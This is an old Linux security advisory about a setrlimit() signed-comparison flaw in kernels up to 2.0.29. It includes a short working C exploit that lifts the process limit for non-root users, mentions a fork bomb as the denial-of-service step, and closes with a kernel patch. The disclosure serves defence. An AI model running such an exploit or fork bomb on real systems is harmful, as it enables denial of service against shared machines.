COMMAND

    setrlimit()

SYSTEMS AFFECTED

    Linux  (kernels up 2.0.29 & 2.1.x)

PROBLEM

    Solar  Designeer   posted  following   about  integer    overflow.
    Following  exploit  works  on  kernels  up  to 2.0.29; needs to be
    changed to work on 2.1.x):

    #include <stdio.h>
    #include <sys/resource.h>
    #include <unistd.h>

    main() {
      struct rlimit rl;

      rl.rlim_max = rl.rlim_cur = 0x80000000;
      if (setrlimit(RLIMIT_NPROC, &rl)) perror("setrlimit");
      execl("/bin/sh", "sh", NULL);
    }

    The  code  above  removes  the  limit  on number of processes when
    running as  a non-root  user. Then  a simple  'while (1)  fork();'
    running as that  user would cause  a denial of  service regardless
    of a limit being previously set.

    The reason setrlimit() call succeeds is that users are allowed  to
    decrease their resource limits,  but the comparison is  signed, so
    negative values  are always  allowed to  set. However,  some other
    syscalls  don't  handle  negative  values  properly.  For example,
    find_empty_process() in  kernel/fork.c first  decreases the  value
    twice, allowing  two magic  values (0x80000000  and 0x80000001) to
    effectively become  huge positive  ones. Some  other syscalls  use
    the limits as unsigned.

SOLUTION

    The setrlimit() hole  got fixed in  2.0.30 (but not  in 2.1.x yet;
    fork()  is  not  vulnerable  though,  while  some  other  syscalls
    relying on rlimits are vulnerable.  Workaround:

    +++ kernel/sys.c        Wed Mar 26 16:54:01 1997
    @@ -854,6 +854,8 @@
            if (err)
                    return err;
            memcpy_fromfs(&new_rlim, rlim, sizeof(*rlim));
    +       if (new_rlim.rlim_cur < 0 || new_rlim.rlim_max < 0)
    +               return -EINVAL;
            old_rlim = current->rlim + resource;
            if (((new_rlim.rlim_cur > old_rlim->rlim_max) ||
                 (new_rlim.rlim_max > old_rlim->rlim_max)) &&